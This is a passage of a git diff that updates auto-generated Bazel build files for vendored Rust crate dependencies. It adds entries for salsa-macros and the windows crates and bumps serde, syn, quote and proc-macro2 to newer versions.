"@rules_rust//rust/platform:x86_64-unknown-none": [], + "@rules_rust//rust/platform:x86_64-unknown-uefi": [], + "//conditions:default": ["@platforms//:incompatible"], + }), + version = "0.19.0", +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.salsa-macros-0.19.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.salsa-macros-0.19.0.bazel new file mode 100644 index 00000000000..20b30ab306b --- /dev/null +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.salsa-macros-0.19.0.bazel @@ -0,0 +1,90 @@ +############################################################################### +# @generated +# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To +# regenerate this file, run the following: +# +# bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors +############################################################################### + +load("@rules_rust//rust:defs.bzl", "rust_proc_macro") + +package(default_visibility = ["//visibility:public"]) + +rust_proc_macro( + name = "salsa_macros", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_root = "src/lib.rs", + edition = "2021", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=salsa-macros", + "manual", + "noclippy", + "norustfmt", + ], + target_compatible_with = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [], + "@rules_rust//rust/platform:aarch64-apple-ios": [], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [], + "@rules_rust//rust/platform:aarch64-linux-android": [], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [], + "@rules_rust//rust/platform:aarch64-unknown-uefi": [], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:armv7-linux-androideabi": [], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:i686-apple-darwin": [], + "@rules_rust//rust/platform:i686-linux-android": [], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [], + "@rules_rust//rust/platform:i686-unknown-freebsd": [], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [], + "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [], + "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [], + "@rules_rust//rust/platform:thumbv7em-none-eabi": [], + "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [], + "@rules_rust//rust/platform:wasm32-unknown-unknown": [], + "@rules_rust//rust/platform:wasm32-wasip1": [], + "@rules_rust//rust/platform:x86_64-apple-darwin": [], + "@rules_rust//rust/platform:x86_64-apple-ios": [], + "@rules_rust//rust/platform:x86_64-linux-android": [], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-none": [], + "@rules_rust//rust/platform:x86_64-unknown-uefi": [], + "//conditions:default": ["@platforms//:incompatible"], + }), + version = "0.19.0", + deps = [ + "@vendor_ts__heck-0.5.0//:heck", + "@vendor_ts__proc-macro2-1.0.94//:proc_macro2", + "@vendor_ts__quote-1.0.40//:quote", + "@vendor_ts__syn-2.0.100//:syn", + "@vendor_ts__synstructure-0.13.1//:synstructure", + ], +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.semver-1.0.24.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.semver-1.0.24.bazel index c05cc8b555e..004fe29bbd7 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.semver-1.0.24.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.semver-1.0.24.bazel @@ -88,7 +88,7 @@ rust_library( version = "1.0.24", deps = [ "@vendor_ts__semver-1.0.24//:build_script_build", - "@vendor_ts__serde-1.0.218//:serde", + "@vendor_ts__serde-1.0.219//:serde", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde-1.0.218.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde-1.0.219.bazel similarity index 96% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde-1.0.218.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde-1.0.219.bazel index df8589a8859..7ba89e09bb7 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde-1.0.218.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde-1.0.219.bazel @@ -39,7 +39,7 @@ rust_library( crate_root = "src/lib.rs", edition = "2018", proc_macro_deps = [ - "@vendor_ts__serde_derive-1.0.218//:serde_derive", + "@vendor_ts__serde_derive-1.0.219//:serde_derive", ], rustc_flags = [ "--cap-lints=allow", @@ -90,9 +90,9 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "1.0.218", + version = "1.0.219", deps = [ - "@vendor_ts__serde-1.0.218//:build_script_build", + "@vendor_ts__serde-1.0.219//:build_script_build", ], ) @@ -148,7 +148,7 @@ cargo_build_script( "noclippy", "norustfmt", ], - version = "1.0.218", + version = "1.0.219", visibility = ["//visibility:private"], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_derive-1.0.218.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_derive-1.0.219.bazel similarity index 95% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_derive-1.0.218.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_derive-1.0.219.bazel index ec591a096a1..6d385b05daa 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_derive-1.0.218.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_derive-1.0.219.bazel @@ -82,10 +82,10 @@ rust_proc_macro( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "1.0.218", + version = "1.0.219", deps = [ - "@vendor_ts__proc-macro2-1.0.93//:proc_macro2", - "@vendor_ts__quote-1.0.38//:quote", - "@vendor_ts__syn-2.0.98//:syn", + "@vendor_ts__proc-macro2-1.0.94//:proc_macro2", + "@vendor_ts__quote-1.0.40//:quote", + "@vendor_ts__syn-2.0.100//:syn", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_json-1.0.139.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_json-1.0.140.bazel similarity index 96% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_json-1.0.139.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_json-1.0.140.bazel index 747fcb93840..3f7d00505fb 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_json-1.0.139.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_json-1.0.140.bazel @@ -85,13 +85,13 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "1.0.139", + version = "1.0.140", deps = [ "@vendor_ts__itoa-1.0.14//:itoa", "@vendor_ts__memchr-2.7.4//:memchr", "@vendor_ts__ryu-1.0.19//:ryu", - "@vendor_ts__serde-1.0.218//:serde", - "@vendor_ts__serde_json-1.0.139//:build_script_build", + "@vendor_ts__serde-1.0.219//:serde", + "@vendor_ts__serde_json-1.0.140//:build_script_build", ], ) @@ -145,7 +145,7 @@ cargo_build_script( "noclippy", "norustfmt", ], - version = "1.0.139", + version = "1.0.140", visibility = ["//visibility:private"], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_spanned-0.6.8.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_spanned-0.6.8.bazel index f57f3f118ff..46285e64bd1 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_spanned-0.6.8.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_spanned-0.6.8.bazel @@ -84,6 +84,6 @@ rust_library( }), version = "0.6.8", deps = [ - "@vendor_ts__serde-1.0.218//:serde", + "@vendor_ts__serde-1.0.219//:serde", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_with-3.12.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_with-3.12.0.bazel index 913a64f240a..cdd91fba58a 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_with-3.12.0.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_with-3.12.0.bazel @@ -37,7 +37,7 @@ rust_library( crate_root = "src/lib.rs", edition = "2021", proc_macro_deps = [ - "@vendor_ts__serde_derive-1.0.218//:serde_derive", + "@vendor_ts__serde_derive-1.0.219//:serde_derive", "@vendor_ts__serde_with_macros-3.12.0//:serde_with_macros", ], rustc_flags = [ @@ -91,6 +91,6 @@ rust_library( }), version = "3.12.0", deps = [ - "@vendor_ts__serde-1.0.218//:serde", + "@vendor_ts__serde-1.0.219//:serde", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_with_macros-3.12.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_with_macros-3.12.0.bazel index 28a15ef4179..f057b9da2e2 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_with_macros-3.12.0.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_with_macros-3.12.0.bazel @@ -82,8 +82,8 @@ rust_proc_macro( version = "3.12.0", deps = [ "@vendor_ts__darling-0.20.10//:darling", - "@vendor_ts__proc-macro2-1.0.93//:proc_macro2", - "@vendor_ts__quote-1.0.38//:quote", - "@vendor_ts__syn-2.0.98//:syn", + "@vendor_ts__proc-macro2-1.0.94//:proc_macro2", + "@vendor_ts__quote-1.0.40//:quote", + "@vendor_ts__syn-2.0.100//:syn", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_yaml-0.9.34+deprecated.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_yaml-0.9.34+deprecated.bazel index 9a863536b9e..78a3a8caae5 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_yaml-0.9.34+deprecated.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.serde_yaml-0.9.34+deprecated.bazel @@ -84,7 +84,7 @@ rust_library( "@vendor_ts__indexmap-2.7.0//:indexmap", "@vendor_ts__itoa-1.0.14//:itoa", "@vendor_ts__ryu-1.0.19//:ryu", - "@vendor_ts__serde-1.0.218//:serde", + "@vendor_ts__serde-1.0.219//:serde", "@vendor_ts__unsafe-libyaml-0.2.11//:unsafe_libyaml", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.syn-2.0.98.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.syn-2.0.100.bazel similarity index 96% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.syn-2.0.98.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.syn-2.0.100.bazel index c241c8b14aa..36eda052e06 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.syn-2.0.98.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.syn-2.0.100.bazel @@ -91,10 +91,10 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "2.0.98", + version = "2.0.100", deps = [ - "@vendor_ts__proc-macro2-1.0.93//:proc_macro2", - "@vendor_ts__quote-1.0.38//:quote", + "@vendor_ts__proc-macro2-1.0.94//:proc_macro2", + "@vendor_ts__quote-1.0.40//:quote", "@vendor_ts__unicode-ident-1.0.16//:unicode_ident", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.synstructure-0.13.1.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.synstructure-0.13.1.bazel index 0f6f912481f..66b155c2f99 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.synstructure-0.13.1.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.synstructure-0.13.1.bazel @@ -85,8 +85,8 @@ rust_library( }), version = "0.13.1", deps = [ - "@vendor_ts__proc-macro2-1.0.93//:proc_macro2", - "@vendor_ts__quote-1.0.38//:quote", - "@vendor_ts__syn-2.0.98//:syn", + "@vendor_ts__proc-macro2-1.0.94//:proc_macro2", + "@vendor_ts__quote-1.0.40//:quote", + "@vendor_ts__syn-2.0.100//:syn", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.thiserror-impl-1.0.69.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.thiserror-impl-1.0.69.bazel index cf0239a907b..c5c8a699bee 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.thiserror-impl-1.0.69.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.thiserror-impl-1.0.69.bazel @@ -81,8 +81,8 @@ rust_proc_macro( }), version = "1.0.69", deps = [ - "@vendor_ts__proc-macro2-1.0.93//:proc_macro2", - "@vendor_ts__quote-1.0.38//:quote", - "@vendor_ts__syn-2.0.98//:syn", + "@vendor_ts__proc-macro2-1.0.94//:proc_macro2", + "@vendor_ts__quote-1.0.40//:quote", + "@vendor_ts__syn-2.0.100//:syn", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml-0.8.20.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml-0.8.20.bazel index 9755bbcbacf..aa7721ec15f 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml-0.8.20.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml-0.8.20.bazel @@ -86,7 +86,7 @@ rust_library( }), version = "0.8.20", deps = [ - "@vendor_ts__serde-1.0.218//:serde", + "@vendor_ts__serde-1.0.219//:serde", "@vendor_ts__serde_spanned-0.6.8//:serde_spanned", "@vendor_ts__toml_datetime-0.6.8//:toml_datetime", "@vendor_ts__toml_edit-0.22.24//:toml_edit", diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml_datetime-0.6.8.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml_datetime-0.6.8.bazel index 2f1b87c6a2e..248d2c4ec36 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml_datetime-0.6.8.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml_datetime-0.6.8.bazel @@ -84,6 +84,6 @@ rust_library( }), version = "0.6.8", deps = [ - "@vendor_ts__serde-1.0.218//:serde", + "@vendor_ts__serde-1.0.219//:serde", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml_edit-0.22.24.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml_edit-0.22.24.bazel index 6ef0d9a4468..c539ad29ce8 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml_edit-0.22.24.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.toml_edit-0.22.24.bazel @@ -87,7 +87,7 @@ rust_library( version = "0.22.24", deps = [ "@vendor_ts__indexmap-2.7.0//:indexmap", - "@vendor_ts__serde-1.0.218//:serde", + "@vendor_ts__serde-1.0.219//:serde", "@vendor_ts__serde_spanned-0.6.8//:serde_spanned", "@vendor_ts__toml_datetime-0.6.8//:toml_datetime", "@vendor_ts__winnow-0.7.3//:winnow", diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-attributes-0.1.28.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-attributes-0.1.28.bazel index b82896b5d1f..f4e54984e8b 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-attributes-0.1.28.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.tracing-attributes-0.1.28.bazel @@ -81,8 +81,8 @@ rust_proc_macro( }), version = "0.1.28", deps = [ - "@vendor_ts__proc-macro2-1.0.93//:proc_macro2", - "@vendor_ts__quote-1.0.38//:quote", - "@vendor_ts__syn-2.0.98//:syn", + "@vendor_ts__proc-macro2-1.0.94//:proc_macro2", + "@vendor_ts__quote-1.0.40//:quote", + "@vendor_ts__syn-2.0.100//:syn", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.triomphe-0.1.14.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.triomphe-0.1.14.bazel index df6d10a847a..5e2ddffce75 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.triomphe-0.1.14.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.triomphe-0.1.14.bazel @@ -87,7 +87,7 @@ rust_library( }), version = "0.1.14", deps = [ - "@vendor_ts__serde-1.0.218//:serde", + "@vendor_ts__serde-1.0.219//:serde", "@vendor_ts__stable_deref_trait-1.2.0//:stable_deref_trait", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-backend-0.2.99.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-backend-0.2.99.bazel index 8e6b5f0e47a..35041989b3d 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-backend-0.2.99.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-backend-0.2.99.bazel @@ -87,9 +87,9 @@ rust_library( deps = [ "@vendor_ts__bumpalo-3.16.0//:bumpalo", "@vendor_ts__log-0.4.25//:log", - "@vendor_ts__proc-macro2-1.0.93//:proc_macro2", - "@vendor_ts__quote-1.0.38//:quote", - "@vendor_ts__syn-2.0.98//:syn", + "@vendor_ts__proc-macro2-1.0.94//:proc_macro2", + "@vendor_ts__quote-1.0.40//:quote", + "@vendor_ts__syn-2.0.100//:syn", "@vendor_ts__wasm-bindgen-shared-0.2.99//:wasm_bindgen_shared", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-macro-0.2.99.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-macro-0.2.99.bazel index c0b07b27ac2..4523fef57ff 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-macro-0.2.99.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-macro-0.2.99.bazel @@ -85,7 +85,7 @@ rust_proc_macro( }), version = "0.2.99", deps = [ - "@vendor_ts__quote-1.0.38//:quote", + "@vendor_ts__quote-1.0.40//:quote", "@vendor_ts__wasm-bindgen-macro-support-0.2.99//:wasm_bindgen_macro_support", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-macro-support-0.2.99.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-macro-support-0.2.99.bazel index 97d5fe34087..c624819b43d 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-macro-support-0.2.99.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.wasm-bindgen-macro-support-0.2.99.bazel @@ -85,9 +85,9 @@ rust_library( }), version = "0.2.99", deps = [ - "@vendor_ts__proc-macro2-1.0.93//:proc_macro2", - "@vendor_ts__quote-1.0.38//:quote", - "@vendor_ts__syn-2.0.98//:syn", + "@vendor_ts__proc-macro2-1.0.94//:proc_macro2", + "@vendor_ts__quote-1.0.40//:quote", + "@vendor_ts__syn-2.0.100//:syn", "@vendor_ts__wasm-bindgen-backend-0.2.99//:wasm_bindgen_backend", "@vendor_ts__wasm-bindgen-shared-0.2.99//:wasm_bindgen_shared", ], diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-0.58.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-0.58.0.bazel new file mode 100644 index 00000000000..cc4916d9c7c --- /dev/null +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-0.58.0.bazel @@ -0,0 +1,87 @@ +############################################################################### +# @generated +# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To +# regenerate this file, run the following: +# +# bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors +############################################################################### + +load("@rules_rust//rust:defs.bzl", "rust_library") + +package(default_visibility = ["//visibility:public"]) + +rust_library( + name = "windows", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_root = "src/lib.rs", + edition = "2021", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=windows", + "manual", + "noclippy", + "norustfmt", + ], + target_compatible_with = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [], + "@rules_rust//rust/platform:aarch64-apple-ios": [], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [], + "@rules_rust//rust/platform:aarch64-linux-android": [], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [], + "@rules_rust//rust/platform:aarch64-unknown-uefi": [], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:armv7-linux-androideabi": [], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:i686-apple-darwin": [], + "@rules_rust//rust/platform:i686-linux-android": [], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [], + "@rules_rust//rust/platform:i686-unknown-freebsd": [], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [], + "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [], + "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [], + "@rules_rust//rust/platform:thumbv7em-none-eabi": [], + "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [], + "@rules_rust//rust/platform:wasm32-unknown-unknown": [], + "@rules_rust//rust/platform:wasm32-wasip1": [], + "@rules_rust//rust/platform:x86_64-apple-darwin": [], + "@rules_rust//rust/platform:x86_64-apple-ios": [], + "@rules_rust//rust/platform:x86_64-linux-android": [], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-none": [], + "@rules_rust//rust/platform:x86_64-unknown-uefi": [], + "//conditions:default": ["@platforms//:incompatible"], + }), + version = "0.58.0", + deps = [ + "@vendor_ts__windows-core-0.58.0//:windows_core", + "@vendor_ts__windows-targets-0.52.6//:windows_targets", + ], +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-core-0.58.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-core-0.58.0.bazel new file mode 100644 index 00000000000..232bf249660 --- /dev/null +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-core-0.58.0.bazel @@ -0,0 +1,92 @@ +############################################################################### +# @generated +# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To +# regenerate this file, run the following: +# +# bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors +############################################################################### + +load("@rules_rust//rust:defs.bzl", "rust_library") + +package(default_visibility = ["//visibility:public"]) + +rust_library( + name = "windows_core", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_root = "src/lib.rs", + edition = "2021", + proc_macro_deps = [ + "@vendor_ts__windows-implement-0.58.0//:windows_implement", + "@vendor_ts__windows-interface-0.58.0//:windows_interface", + ], + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=windows-core", + "manual", + "noclippy", + "norustfmt", + ], + target_compatible_with = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [], + "@rules_rust//rust/platform:aarch64-apple-ios": [], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [], + "@rules_rust//rust/platform:aarch64-linux-android": [], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [], + "@rules_rust//rust/platform:aarch64-unknown-uefi": [], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:armv7-linux-androideabi": [], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:i686-apple-darwin": [], + "@rules_rust//rust/platform:i686-linux-android": [], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [], + "@rules_rust//rust/platform:i686-unknown-freebsd": [], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [], + "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [], + "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [], + "@rules_rust//rust/platform:thumbv7em-none-eabi": [], + "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [], + "@rules_rust//rust/platform:wasm32-unknown-unknown": [], + "@rules_rust//rust/platform:wasm32-wasip1": [], + "@rules_rust//rust/platform:x86_64-apple-darwin": [], + "@rules_rust//rust/platform:x86_64-apple-ios": [], + "@rules_rust//rust/platform:x86_64-linux-android": [], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-none": [], + "@rules_rust//rust/platform:x86_64-unknown-uefi": [], + "//conditions:default": ["@platforms//:incompatible"], + }), + version = "0.58.0", + deps = [ + "@vendor_ts__windows-result-0.2.0//:windows_result", + "@vendor_ts__windows-strings-0.1.0//:windows_strings", + "@vendor_ts__windows-targets-0.52.6//:windows_targets", + ], +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_salsa-macros-0.0.266.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-implement-0.58.0.bazel similarity index 92% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_salsa-macros-0.0.266.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-implement-0.58.0.bazel index 53313071100..d9bbe3ad12c 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_salsa-macros-0.0.266.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-implement-0.58.0.bazel @@ -11,7 +11,7 @@ load("@rules_rust//rust:defs.bzl", "rust_proc_macro") package(default_visibility = ["//visibility:public"]) rust_proc_macro( - name = "ra_salsa_macros", + name = "windows_implement", srcs = glob( include = ["**/*.rs"], allow_empty = True, @@ -35,7 +35,7 @@ rust_proc_macro( ], tags = [ "cargo-bazel", - "crate-name=ra_ap_salsa-macros", + "crate-name=windows-implement", "manual", "noclippy", "norustfmt", @@ -79,11 +79,10 @@ 